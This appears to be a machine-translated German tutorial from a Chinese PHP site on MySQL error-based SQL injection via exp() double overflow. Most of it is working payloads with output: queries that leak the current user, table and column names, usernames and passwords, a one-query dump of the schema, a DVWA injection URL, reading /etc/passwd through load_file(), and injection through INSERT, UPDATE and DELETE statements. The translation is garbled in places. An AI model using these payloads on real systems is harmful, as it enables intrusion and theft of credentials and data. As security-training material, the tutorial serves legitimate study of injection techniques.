0x01 Einführungsübersicht
Der Herausgeber hat einen weiteren doppelten Datenüberlauf in MySQL entdeckt. Wenn wir die Funktionen in MySQL erhalten, interessiert sich der Editor mehr für die mathematischen Funktionen. Sie sollten auch einige Datentypen zum Speichern von Werten enthalten. Daher führte der Editor einen Test durch, um festzustellen, welche Funktionen Überlauffehler verursachen würden. Dann stellte der Editor fest, dass die Funktion exp() einen Überlauffehler verursacht, wenn ein Wert größer als 709 übergeben wird.
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
In MySQL hat exp die entgegengesetzte Funktion von ln und log. Kurz gesagt: Sowohl log als auch ln geben Paare mit e als Basis zurück. Zahl, siehe Gleichung:
mysql> select log(15);
+------------------+
| log(15) |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)
mysql> select ln(15);
+------------------+
| ln(15) |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)
Die Exponentialfunktion ist die Umkehrfunktion der logarithmischen Funktion, exp () ist die logarithmische Funktion mit e als Basis, wie zum Beispiel die Gleichung:
mysql> select exp(2.70805020110221); +-----------------------+ | exp(2.70805020110221) | +-----------------------+ | 15 | +-----------------------+ 1 row in set (0.00 sec)
0x02 Injektion# #
Bei der Injektion verwenden wir negative Abfragen, um den Fehler „DOUBLE-Wert liegt außerhalb des Bereichs“ zu verursachen. Wie im vorherigen Blogbeitrag des Autors erwähnt, gibt die bitweise Invertierung von 0 „18446744073709551615“ zurück. Da die Funktion nach erfolgreicher Ausführung 0 zurückgibt, erhalten wir durch Invertieren des erfolgreich ausgeführten BIGINT-Werts ***.mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
mysql> select ~(select version());
+----------------------+
| ~(select version()) |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)
>`exp(~(select*from(select user())x))` mysql> select exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
0x03 Daten injizieren
Tabellennamen abrufen:select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
Daten abrufen:
select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
Diese Abfrage kann alle Tabellen und Spalten aus dem aktuellen Kontext sichern. Wir könnten auch die gesamte Datenbank entsorgen, da wir jedoch aufgrund eines Fehlers extrahieren, werden nur sehr wenige Ergebnisse zurückgegeben.
exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)) http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#
Sie können sie über die Funktion „load_file()“ lesen. Funktion Ruft die Datei ab, aber der Autor hat festgestellt, dass es eine Begrenzung auf 13 Zeilen gibt. Diese Anweisung kann auch in BIGINT-Überlaufinjektionen verwendet werden.
select exp(~(select*from(select load_file('/etc/passwd'))a));
mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt'; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))' # type C:\out.txt 0
Folgen Sie einfach den Schritten
mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
Für alle Anweisungen zum Einfügen, Aktualisieren und Löschen Es können auch DIOS-Abfragen verwendet werden.
mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000 newdb::users::id newdb::users::username newdb::users::password' from dual)))'
mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
mysql> delete from users where id='1' | exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
mysql> select version(); +---------------------+ | version() | +---------------------+ | 5.0.45-community-nt | +---------------------+ 1 row in set (0.00 sec) mysql> select exp(710); +----------+ | exp(710) | +----------+ | 1.#INF | +----------+ 1 row in set (0.00 sec) mysql> select exp(~0); +---------+ | exp(~0) | +---------+ | 1.#INF | +---------+ 1 row in set (0.00 sec)
Das obige ist der detaillierte Inhalt vonSo verwenden Sie exp für die SQL-Fehlerinjektion. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!